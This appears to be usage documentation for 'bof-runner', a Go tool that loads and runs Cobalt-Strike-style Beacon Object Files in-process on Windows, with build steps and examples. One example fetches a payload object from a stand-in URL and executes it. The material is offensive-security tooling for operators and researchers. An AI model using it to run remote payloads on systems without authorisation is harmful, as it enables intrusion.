bof-runner

Standalone runner for Beacon Object Files (CS-compatible COFF).

Source: cmd/bof-runner/ · godoc: pkg.go.dev/…/cmd/bof-runner Audience: operator + researcher · Platforms: Windows only

Synopsis

bof-runner -file <path.o>  [-arg-int N] [-arg-string S] [-arg-short N] [-arg-bytes <hex>]
bof-runner -url  <https://…>   [same args]

What it does

Loads a Cobalt-Strike-style COFF object into the current process and runs its go entrypoint. Arguments are packed in BeaconDataPack format and consumed by the BOF via BeaconDataInt / DataShort / DataExtract. Validated against the public BOF ecosystem (TrustedSec SA, Outflank, FortyNorth, CS community kit). Constraints documented in runtime/bof-loader.

Build

GOOS=windows GOARCH=amd64 go build -o bof-runner.exe ./cmd/bof-runner

Examples

:: Run an enumeration BOF with two args (int + string)
bof-runner.exe -file whoami.o -arg-int 1 -arg-string "DOMAIN\user"

:: Fetch and run from a URL (research / sandbox use)
bof-runner.exe -url https://example.invalid/payload.o

See also